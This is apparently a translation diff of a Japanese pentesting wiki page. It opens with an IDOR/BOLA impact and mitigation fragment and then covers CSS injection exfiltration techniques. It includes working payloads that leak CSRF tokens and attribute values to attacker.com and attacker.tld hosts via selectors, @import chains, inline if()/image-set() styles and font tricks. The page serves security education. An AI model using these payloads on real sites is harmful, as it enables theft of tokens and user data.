||||
---
|
||||
## 3. IDOR / BOLA の影響
|
||||
* 水平的権限昇格 – 他のユーザーのデータを読み取り/更新/削除できる。
|
||||
* 垂直的権限昇格 – 低権限ユーザーが管理者専用の機能を利用できるようになる。
|
||||
* 識別子が連続している場合(例:申請者ID、請求書)大規模なデータ漏洩が発生する可能性がある。
|
||||
* 他ユーザーのトークンを盗む、またはパスワードをリセットすることでアカウント乗っ取りが発生する。
|
||||
## 3. Impact of IDOR / BOLA
|
||||
* 水平的エスカレーション – 読み取り/更新/削除が可能な**他のユーザーの**データ。
|
||||
* 垂直的エスカレーション – 権限の低いユーザーが管理者専用の機能を取得する。
|
||||
* 識別子が連続している場合(例: 申請者ID、請求書)、大規模なデータ漏洩が発生する可能性がある。
|
||||
* トークンを盗む、または他のユーザーのパスワードをリセットすることでアカウント乗っ取りが発生する。
|
||||
|
||||
---
|
||||
## 4. 緩和策とベストプラクティス
|
||||
1. すべてのリクエストで **object-level authorization** を強制する(`user_id == session.user`)。
|
||||
2. 自動増分IDの代わりに **indirect, unguessable identifiers**(UUIDv4、ULID)を使用する。
|
||||
3. 認可は必ず **server-side** で行い、隠しフォームフィールドやUIコントロールに頼らない。
|
||||
4. 中央のミドルウェアで **RBAC / ABAC** チェックを実装する。
|
||||
5. ID列挙を検出するために **rate-limiting & logging** を追加する。
|
||||
6. 新しいエンドポイントはすべてセキュリティテストを行う(ユニット、統合、及び DAST)。
|
||||
## 4. Mitigations & Best Practices
|
||||
1. すべてのリクエストで**オブジェクトレベルの認可を強制する**(`user_id == session.user`)。
|
||||
2. 自動増分IDの代わりに、**間接的で推測困難な識別子**(UUIDv4, ULID)を推奨する。
|
||||
3. 認可は**サーバー側**で行い、隠しフォームフィールドやUIコントロールに依存してはいけない。
|
||||
4. 中央のミドルウェアで**RBAC / ABAC**のチェックを実装する。
|
||||
5. IDの列挙を検出するために、**レート制限 & ロギング**を追加する。
|
||||
6. 新しいエンドポイントごとにセキュリティテストを実施する(unit, integration, and DAST)。
|
||||
|
||||
---
|
||||
## 5. Tooling
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### 属性セレクタ
|
||||
|
||||
CSSセレクタは、`input` 要素の `name` と `value` 属性の値にマッチするよう作成されます。もし `input` 要素の `value` 属性が特定の文字で始まると、あらかじめ定義された外部リソースが読み込まれます:
|
||||
CSSセレクタは`input`要素の`name`および`value`属性の値にマッチするように作成されます。`input`要素の`value`属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
しかし、この手法は隠し input 要素(`type="hidden"`)に対して制約があり、隠し要素は背景を読み込まないため問題になります。
|
||||
しかし、このアプローチは隠し input 要素(`type="hidden"`)を扱う際に制約があります。隠し要素は背景を読み込まないためです。
|
||||
|
||||
#### 隠し要素のバイパス
|
||||
|
||||
この制約を回避するには、`~` を使った一般兄弟セレクタで後続の兄弟要素をターゲットにします。するとその CSS ルールは隠し input 要素に続くすべての兄弟要素に適用され、背景画像を読み込ませます:
|
||||
この制約を回避するには、`~` general sibling combinator を使って後続の兄弟要素をターゲットにします。するとその CSS ルールは隠し input 要素の後に続くすべての兄弟に適用され、背景画像が読み込まれます:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
この手法を実際に悪用する実例は、添付のコードスニペットに詳述されています。閲覧は [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) から可能です。
|
||||
この手法を悪用する実践的な例は、添付のコードスニペットに詳述されています。確認するには [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) をご覧ください。
|
||||
|
||||
#### CSS Injection の前提条件
|
||||
|
||||
CSS Injection を有効にするには、いくつかの条件を満たす必要があります:
|
||||
For the CSS Injection technique to be effective, certain conditions must be met:
|
||||
|
||||
1. **Payload Length**: CSS injection vector は、作成したセレクタを格納するのに十分な長さのpayloadをサポートしている必要があります。
|
||||
2. **CSS Re-evaluation**: ページをフレーム内に読み込める能力が必要です。これは、新たに生成したpayloadを用いてCSSの再評価をトリガーするために必要です。
|
||||
1. **Payload Length**: CSS injection ベクタは、作成したセレクタを収めるために十分に長い payloads をサポートしている必要があります。
|
||||
2. **CSS Re-evaluation**: ページをフレーム化できることが必要です。これは、新しく生成した payloads で CSS の再評価をトリガーするために必要になります。
|
||||
3. **External Resources**: この手法は外部ホストされた画像を使用できることを前提としています。これはサイトの Content Security Policy (CSP) によって制限される可能性があります。
|
||||
|
||||
### Blind Attribute Selector
|
||||
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), セレクタ **`:has`** と **`:not`** を組み合わせることで、ブラインド要素からでもコンテンツを識別することが可能です。これは、CSS Injection を読み込むウェブページの内部が全く分からない場合に非常に有用です。\
|
||||
これらのセレクタを使って、同じタイプの複数のブロックから情報を抽出することも可能です。例えば:
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. これは、CSS injection を読み込むウェブページの中身が全く分からない場合に非常に有用です。\
|
||||
同じタイプの複数のブロックから情報を抽出するためにこれらのセレクタを使用することも可能です。例は以下の通りです:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,34 +52,34 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
次の**@import**テクニックと組み合わせることで、多くの**CSS injectionを使ったblind pagesからの情報のエクスフィルトレーションを** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**が可能です。**
|
||||
これを以下の **@import** テクニックと組み合わせることで、**blind pages から CSS injection によって大量の info を exfiltrate することが可能です** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
前のテクニックにはいくつか欠点があるので、前提条件を確認してください。あなたは**send multiple links to the victim**できるか、あるいは**iframe the CSS injection vulnerable page**できる必要があります。
|
||||
前の手法にはいくつか欠点があり、前提条件を確認してください。**被害者に複数のリンクを送ることができる**か、または **CSS injection 脆弱なページを iframe できる**必要があります。
|
||||
|
||||
しかし、品質を向上させるために**CSS `@import`**を利用する別の巧妙な手法があります。
|
||||
しかし、テクニックの品質を改善するために **CSS `@import`** を使う別の巧妙な手法があります。
|
||||
|
||||
これは最初に[**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)によって示され、動作は次の通りです:
|
||||
これは [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) によって最初に示され、動作は次の通りです:
|
||||
|
||||
同じページを何度も読み込み、毎回何十もの異なるpayloadを使うのではなく(前の手法のように)、ページを一度だけ読み込み、**load the page just once and just with an import to the attackers server**(this is the payload to send to the victim):
|
||||
同じページを毎回何度も数十の異なる payload で読み込む代わりに(前の手法のように)、ページを一度だけ読み込み、攻撃者のサーバーへの import のみを含めます(これは被害者に送るペイロードです):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. importはattackersから**CSSスクリプトを受け取り**、**browserがそれを読み込みます**。
|
||||
2. attackerが送るCSSスクリプトの最初の部分は**さらに別の`@import`でattackers serverへ向けられます。**
|
||||
1. attackers serverはまだこのリクエストに応答しません。なぜならいくつかの文字をleakしてから、このimportに対して次の文字をleakするためのpayloadで応答したいからです。
|
||||
3. payloadの第二部でより大きい部分は**attribute selector leakage payload**になります
|
||||
1. これはattackers serverに**secretの最初のcharと最後のchar**を送信します
|
||||
4. attackers serverが**secretの最初と最後のchar**を受け取ると、**ステップ2で要求されたimportに応答します**。
|
||||
1. 応答は**ステップ2, 3, 4**と全く同じになりますが、今回は**secretの2番目のcharと最後から2番目を見つけようと**します。
|
||||
1. The importは攻撃者から**CSSスクリプトを受け取り**、**ブラウザがそれを読み込む**。
|
||||
2. CSSスクリプトの最初の部分は攻撃者が送る**さらに別の `@import` で攻撃者のサーバーに再度要求するもの**になる。
|
||||
1. 攻撃者のサーバーはこのリクエストにまだ応答しない。まずいくつかの文字をleakし、その後次の文字をleakするためのpayloadでこのimportに応答する。
|
||||
3. payloadの2番目でより大きな部分は**attribute selector leakage payload**になる。
|
||||
1. これは攻撃者のサーバーにsecretの**最初の文字と最後の文字**を送信する。
|
||||
4. 攻撃者のサーバーがsecretの**最初と最後の文字**を受け取ると、ステップ2で要求された**importに応答する**。
|
||||
1. 応答は**steps 2, 3 and 4**とまったく同じ内容になるが、今回はsecretの**2番目の文字とその次に最後から2番目の文字**を見つけようとする。
|
||||
|
||||
attackerはそのループを**続け、secretを完全にleakするまで**回します。
|
||||
攻撃者はそのループを繰り返し、secretを完全にleakするまで続ける。
|
||||
|
||||
元の[**Pepe Vilaのこの問題を悪用するためのコードはこちら**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)、あるいはほぼ[**同じコード(コメント付き)はこちら**](#css-injection)を参照できます。
|
||||
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
|
||||
|
||||
> [!TIP]
|
||||
> スクリプトは各回に2文字(先頭と末尾から)を発見しようとします。これはattribute selectorが以下のようなことを可能にするためです:
|
||||
> スクリプトは毎回先頭と末尾から2文字ずつ発見しようとする(beginning と end から) — これはattribute selectorが次のようなことを可能にするためである:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= to match the beggining of the value*/
|
||||
@ -93,33 +93,33 @@ attackerはそのループを**続け、secretを完全にleakするまで**回
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> これによりスクリプトはsecretをより速くleakできます。
|
||||
> これによりスクリプトはsecretをより速くleakできる。
|
||||
|
||||
> [!WARNING]
|
||||
> スクリプトは時々、発見されたprefix + suffixが既に完全なflagであることを**正しく検出できない**ことがあり、そのため前方(prefix側)および後方(suffix側)に進み続け、最終的にハングすることがあります。\
|
||||
> 心配いりません、**output**を確認すれば**そこにflagが表示されています**。
|
||||
> 時々スクリプトは**発見されたprefix + suffixが既に完全な flag であることを正しく検出できず**、prefix側で前進し続けたり、suffix側で後退し続けたりして、ある時点でハングすることがある。\
|
||||
> 心配いらない、**output**を確認すれば**flag**がそこに見える。
|
||||
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
|
||||
|
||||
> [!WARNING]
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
> if()内の等価比較では文字列リテラルにダブルクォートが必要である。シングルクォートはマッチしない。
|
||||
|
||||
- Sink: 要素のstyle属性を制御し、ターゲット属性が同じ要素上にあることを保証します(attr()は同一要素の属性のみを読み取ります)。
|
||||
- Read: 属性をCSS変数にコピーします: `--val: attr(title)`.
|
||||
- Decide: 変数を文字列候補と比較するネストされた条件式を使ってURLを選択します: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: 選択したエンドポイントへのリクエストを強制するために、`background: image-set(var(--steal))`(または任意のリクエストを発生させるプロパティ)を適用します。
|
||||
- Sink: 要素のstyle属性を制御し、ターゲット属性が同じ要素上にあることを確認する(attr()は同一要素の属性のみを読む)。
|
||||
- Read: 属性をCSS変数にコピーする: `--val: attr(title)`.
|
||||
- Decide: 変数を文字列候補と比較するネストされた条件式でURLを選択する: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: `background: image-set(var(--steal))`(または任意のフェッチを行うプロパティ)を適用して、選択されたエンドポイントへのリクエストを強制する。
|
||||
|
||||
Attempt(動作しません;比較でシングルクォートを使用している):
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
動作するペイロード(比較時はダブルクォートが必要):
|
||||
動作するペイロード(比較ではダブルクォートが必要):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
ネストされた条件で属性値を列挙する:
|
||||
ネストされた条件式を用いた属性値の列挙:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
@ -127,19 +127,19 @@ Attempt(動作しません;比較でシングルクォートを使用して
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
注意点と制限:
|
||||
注意事項と制限:
|
||||
|
||||
- 調査時点では Chromiumベースのブラウザで動作します。他のエンジンでは挙動が異なる可能性があります。
|
||||
- 有限/列挙可能な値空間(IDs, flags, short usernames)に最適です。外部スタイルシートを使わずに任意の長い文字列を盗むのは依然として困難です。
|
||||
- URLをフェッチする任意のCSSプロパティがリクエストをトリガーするために使えます(例: background/image-set, border-image, list-style, cursor, content)。
|
||||
- 調査時点では Chromium ベースのブラウザで動作します。その他のエンジンでは挙動が異なる可能性があります。
|
||||
- 有限/列挙可能な値空間(IDs、flags、短いユーザー名)に最適です。 Stealing arbitrary long strings without external stylesheets remains challenging.
|
||||
- URL を取得する任意の CSS プロパティがリクエストをトリガーするために使用できます(例: background/image-set、border-image、list-style、cursor、content)。
|
||||
|
||||
Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
自動化: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### その他のセレクタ
|
||||
### その他の selectors
|
||||
|
||||
DOMの一部にアクセスする他の方法(**CSS selectors**):
|
||||
DOM の一部にアクセスするための **CSS selectors** の他の方法:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: DOM内でクラス "class-to-search" を持つ2番目の要素を検索します。
|
||||
- **`.class-to-search:nth-child(2)`**: DOM 内でクラス "class-to-search" を持つ 2 番目の要素を検索します。
|
||||
- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
@ -150,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
|
||||
### Error based XS-Search
|
||||
|
||||
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**参照:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
全体的な意図は、**制御されたエンドポイントからカスタムフォントを使用し**、指定されたリソース(`favicon.ico`)が読み込めない場合に限り**テキスト(この場合は 'A')がそのフォントで表示されるようにする**ことです。
|
||||
全体の意図は、**制御可能なエンドポイントからカスタムフォントを use し**、**指定されたリソース (`favicon.ico`) が読み込めない場合にのみテキスト(この場合は 'A')がこのフォントで表示されることを確認する**、ということです。
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -174,41 +174,41 @@ font-family: "poc";
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **カスタムフォントの利用**:
|
||||
1. **Custom Font の使用**:
|
||||
|
||||
- `<head>` セクションの `<style>` タグ内で `@font-face` ルールを使用してカスタムフォントが定義されています。
|
||||
- フォントは `poc` と名付けられ、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。
|
||||
- `<head>` セクションの `<style>` タグ内で、`@font-face` ルールを使ってカスタムフォントが定義されています。
|
||||
- フォントは `poc` という名前で、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。
|
||||
- `unicode-range` プロパティは `U+0041` に設定され、特定の Unicode 文字 'A' を対象とします。
|
||||
|
||||
2. **フォールバックテキストを持つ Object 要素**:
|
||||
- `<body>` セクションに `id="poc0"` を持つ `<object>` 要素が作成されます。この要素は `http://192.168.0.1/favicon.ico` からリソースの読み込みを試みます。
|
||||
- この要素の `font-family` は `<style>` セクションで定義された通り `'poc'` に設定されています。
|
||||
2. **Object 要素とフォールバックテキスト**:
|
||||
- `<body>` セクションに `id="poc0"` の `<object>` 要素が作成されます。この要素は `http://192.168.0.1/favicon.ico` からリソースを読み込もうとします。
|
||||
- この要素の `font-family` は `<style>` セクションで定義した `'poc'` に設定されています。
|
||||
- リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>` タグ内のフォールバックコンテンツ(文字 'A')が表示されます。
|
||||
- 外部リソースが読み込めない場合、フォールバックコンテンツ('A')はカスタムフォント `poc` を使用してレンダリングされます。
|
||||
- 外部リソースを読み込めない場合、フォールバックコンテンツ('A')はカスタムフォント `poc` を使ってレンダリングされます。
|
||||
|
||||
### Scroll-to-Text フラグメントのスタイリング
|
||||
### Scroll-to-Text Fragment のスタイリング
|
||||
|
||||
**`:target`** 疑似クラスは、[CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) に記載されている通り、**URL fragment** によってターゲットされた要素を選択するために使用されます。`::target-text` は、フラグメントによってテキストが明示的にターゲットされない限り、いかなる要素にもマッチしないことを理解することが重要です。
|
||||
The **`:target`** pseudo-class is employed to select an element targeted by a **URL fragment**, as specified in the [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). `::target-text` が、テキストがフラグメントによって明示的にターゲットされない限りいかなる要素にもマッチしないことを理解することが重要です。
|
||||
|
||||
攻撃者が **Scroll-to-text** フラグメント機能を悪用すると、HTML インジェクションを通じて自身のサーバーからリソースを読み込ませることで、ウェブページ上に特定のテキストが存在するかを確認できるというセキュリティ上の懸念が生じます。この手法では、以下のような CSS ルールを注入します:
|
||||
攻撃者が **Scroll-to-text** フラグメント機能を悪用すると、HTML インジェクションを介して自身のサーバからリソースを読み込ませることで、ウェブページ上に特定のテキストが存在するかを確認できるというセキュリティ上の懸念が生じます。手法は次のような CSS ルールを注入することを含みます:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
このようなシナリオでは、ページに "Administrator" というテキストが存在する場合、リソース `target.png` がサーバーにリクエストされ、そのテキストが存在することが示されます。注入された CSS を Scroll-to-text fragment とともに埋め込んだ特殊に作成した URL を使って、この攻撃の一例を実行できます:
|
||||
そのようなシナリオでは、ページに "Administrator" というテキストが存在する場合、リソース `target.png` がサーバーにリクエストされ、そのテキストの存在が示されます。攻撃の一例は、注入されたCSSを埋め込み、Scroll-to-text fragment を含む特別に細工されたURLを通じて実行できます:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
ここでは、攻撃が HTML インジェクションを操作して CSS コードを送信し、Scroll-to-text fragment (`#:~:text=Administrator`) を介して特定のテキスト「Administrator」を狙います。該当するテキストが見つかると、指定されたリソースが読み込まれ、結果として攻撃者にその存在を通知してしまいます。
|
||||
ここでは、攻撃が HTML injection を操作して CSS コードを送信し、Scroll-to-text fragment (`#:~:text=Administrator`) を通じて特定のテキスト「Administrator」を狙います。テキストが見つかると、示されたリソースが読み込まれ、その存在が攻撃者に意図せず伝わります。
|
||||
|
||||
軽減策として、次の点に注意してください:
|
||||
緩和策として、以下の点に注意してください:
|
||||
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) は単語または文のみをマッチするように設計されており、そのため任意のシークレットやトークンをleakする能力が制限されます。
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) は単語や文のみをマッチするよう設計されており、任意の秘密やトークンを leak する能力が制限されています。
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF はトップレベルのブラウジングコンテキストでのみ動作し、iframe 内では機能しないため、悪用の試みはユーザーにとってより目立ちやすくなります。
|
||||
3. **Necessity of User Activation**: STTF は動作に user-activation ジェスチャを必要とするため、悪用はユーザー主導のナビゲーションを通じてのみ現実的です。この要件により、ユーザー操作なしに攻撃が自動化されるリスクは大幅に軽減されます。とはいえ、ブログ記事の著者は特定の条件やバイパス(例: social engineering、一般的な browser extensions との相互作用)によって攻撃の自動化が容易になる可能性を指摘しています。
|
||||
3. **Necessity of User Activation**: STTF を動作させるには user-activation ジェスチャーが必要であり、つまり悪用はユーザー起点のナビゲーションによってのみ実行可能です。この要件により、ユーザー操作なしに攻撃が自動化されるリスクはかなり軽減されます。とはいえ、ブログ記事の著者は social engineering や一般的な browser extensions との相互作用など、攻撃の自動化を容易にする特定の条件やバイパスを指摘しています。
|
||||
|
||||
これらの仕組みと潜在的な脆弱性を認識することが、Web セキュリティの維持およびこうした悪用手法からの保護に重要です。
|
||||
これらのメカニズムと潜在的な脆弱性を認識することは、Webセキュリティを維持し、こうした悪用的手法から防御するために重要です。
|
||||
|
||||
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
@ -216,7 +216,7 @@ You can check an [**exploit using this technique for a CTF here**](https://gist.
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
特定の Unicode 値に対して **外部フォント** を指定でき、これらの Unicode 値がページに存在する場合にのみそのフォントが取得されます。例えば:
|
||||
ページに**特定の Unicode 値のための外部フォント**を指定することができ、これらはページにその Unicode 値が存在する場合にのみ**取得されます**。例えば:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -248,19 +248,19 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
|
||||
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
説明されている手法は、font ligatures を悪用してノードからテキストを抽出し、幅の変化を監視することでテキストを読み取るものです。プロセスは以下のようなステップで構成されます:
|
||||
ここで説明されている手法は、フォントの ligatures を悪用してノードからテキストを抽出し、幅の変化を監視するものです。プロセスは複数のステップで構成されます:
|
||||
|
||||
1. **Creation of Custom Fonts**:
|
||||
|
||||
- SVG フォントは、`horiz-adv-x` 属性を持つグリフで作成されます。この属性は 2 文字のシーケンスを表すグリフに大きな幅を設定します。
|
||||
- 例の SVG グリフ: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`。ここで "XY" は 2 文字のシーケンスを示します。
|
||||
- これらのフォントは fontforge を使用して woff 形式に変換されます。
|
||||
- SVG フォントは `horiz-adv-x` 属性を持つグリフで作成され、2文字のシーケンスを表すグリフに大きな幅を設定します。
|
||||
- 例の SVG グリフ: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`、ここで "XY" は2文字のシーケンスを示します。
|
||||
- これらのフォントは fontforge を使って woff 形式に変換されます。
|
||||
|
||||
2. **Detection of Width Changes**:
|
||||
|
||||
- CSS を使用してテキストの折り返しを禁止(`white-space: nowrap`)し、スクロールバーのスタイルをカスタマイズします。
|
||||
- 独特のスタイルが適用された水平スクロールバーの出現は、特定の ligature(つまり特定の文字列)がテキスト内に存在することを示す指標(オラクル)として機能します。
|
||||
- 関連する CSS:
|
||||
- CSS を使ってテキストが折り返されないように(`white-space: nowrap`)し、スクロールバーのスタイルをカスタマイズします。
|
||||
- 独自スタイルの横スクロールバーの出現が、特定の ligature(つまり特定の文字列)がテキスト内に存在することを示す指標(オラクル)として機能します。
|
||||
- 使用される CSS:
|
||||
```css
|
||||
body {
|
||||
white-space: nowrap;
|
||||
@ -276,27 +276,27 @@ background: url(http://attacker.com/?leak);
|
||||
3. **Exploit Process**:
|
||||
|
||||
- **Step 1**: 幅の大きい文字ペア用のフォントを作成します。
|
||||
- **Step 2**: スクロールバーを利用したトリックで、幅の大きいグリフ(文字ペアの ligature)がレンダリングされたことを検出し、該当する文字列の存在を確認します。
|
||||
- **Step 3**: ligature を検出したら、検出したペアに前後の文字を追加した 3 文字シーケンスを表す新しいグリフを生成します。
|
||||
- **Step 4**: その 3 文字 ligature の検出を行います。
|
||||
- **Step 5**: このプロセスを繰り返し、テキスト全体を段階的に明らかにしていきます。
|
||||
- **Step 2**: スクロールバーを使ったトリックで、大きな幅のグリフ(文字ペアの ligature)がレンダリングされたときにそれを検出し、その文字列が存在することを示します。
|
||||
- **Step 3**: ligature を検出したら、検出したペアに前後の文字を付け加えた3文字シーケンスを表す新しいグリフを生成します。
|
||||
- **Step 4**: 3文字の ligature の検出を行います。
|
||||
- **Step 5**: このプロセスを繰り返し、徐々に全文を明らかにしていきます。
|
||||
|
||||
4. **Optimization**:
|
||||
- 現在の `<meta refresh=...` を使った初期化方法は最適とは言えません。
|
||||
- より効率的な方法として CSS の `@import` トリックを用いることで、エクスプロイトの性能を向上させることができます。
|
||||
- CSS の `@import` トリックを用いるなど、より効率的なアプローチでエクスプロイトの性能を向上させることが考えられます。
|
||||
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). ブラウザにインストールされたデフォルトフォントを使用して、テキストノードで使われている charset を leak することができます:外部フォントやカスタムフォントは不要です。
|
||||
このトリックはこの [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) で公開されました。テキストノードで使われている charset は、ブラウザにインストールされたデフォルトフォントを使用して leak できます:外部またはカスタムフォントは不要です。
|
||||
|
||||
この手法は、アニメーションを使って `div` の幅を段階的に拡張し、テキストの 'suffix' 部分から 'prefix' 部分へ一文字ずつ移動させることで機能します。これによりテキストは次の2つのセクションに分割されます:
|
||||
コンセプトは、アニメーションで `div` の幅を少しずつ拡大し、1文字ずつテキストの 'suffix' 部分から 'prefix' 部分へ移動させることにあります。これによりテキストは実質的に2つの部分に分割されます:
|
||||
|
||||
1. Prefix: 最初の行
|
||||
2. Suffix: 続く行(複数行)
|
||||
1. **Prefix**: 最初の行
|
||||
2. **Suffix**: 続く行(または行群)
|
||||
|
||||
文字の遷移段階は次のようになります:
|
||||
文字の遷移は次のように見えます:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -309,13 +309,13 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
この遷移中に、**unicode-range trick** を利用して、prefix に加わる各文字を識別します。具体的にはフォントを Comic Sans に切り替えることで、その文字がデフォルトフォントより明らかに大きくなり、縦スクロールバーが発生します。このスクロールバーの出現によって、prefix に新しい文字が存在することが間接的に明らかになります。
|
||||
この遷移の間、**unicode-range trick** を用いて、prefix に加わった各新しい文字を識別します。具体的にはフォントを Comic Sans に切り替えます。Comic Sans はデフォルトフォントよりも高さがあり、結果として縦スクロールバーを発生させます。このスクロールバーの出現により、prefix に新しい文字が入ったことが間接的に判明します。
|
||||
|
||||
この方法では新しく現れるユニークな文字を検出できますが、どの文字が重複しているかまでは特定できず、重複が発生したということのみが分かります。
|
||||
この手法は、現れる固有の文字を検出することを可能にしますが、どの文字が繰り返されているかまでは特定できず、単に繰り返しが発生しているという事実だけを示します。
|
||||
|
||||
> [!TIP]
|
||||
> 基本的に、**unicode-range は文字を検出するために使用されます** が、外部フォントを読み込みたくないため別の方法を用意する必要があります。\
|
||||
> 文字が見つかると、その文字には事前インストールされた **Comic Sans font** が適用され、文字が大きくなってスクロールバーが発生します。これにより、見つかった文字が **leak** されます。
|
||||
> 基本的に、**unicode-range** は文字を検出するために使われますが、外部フォントを読み込みたくないため別の方法を見つける必要があります。\
|
||||
> 文字が**検出(found)**されたら、それにプリインストールされている **Comic Sans font** を割り当てます。これにより文字が大きくなって縦スクロールバーが発生し、そのスクロールバーが見つかった文字を **leak** します。
|
||||
|
||||
Check the code extracted from the PoC:
|
||||
```css
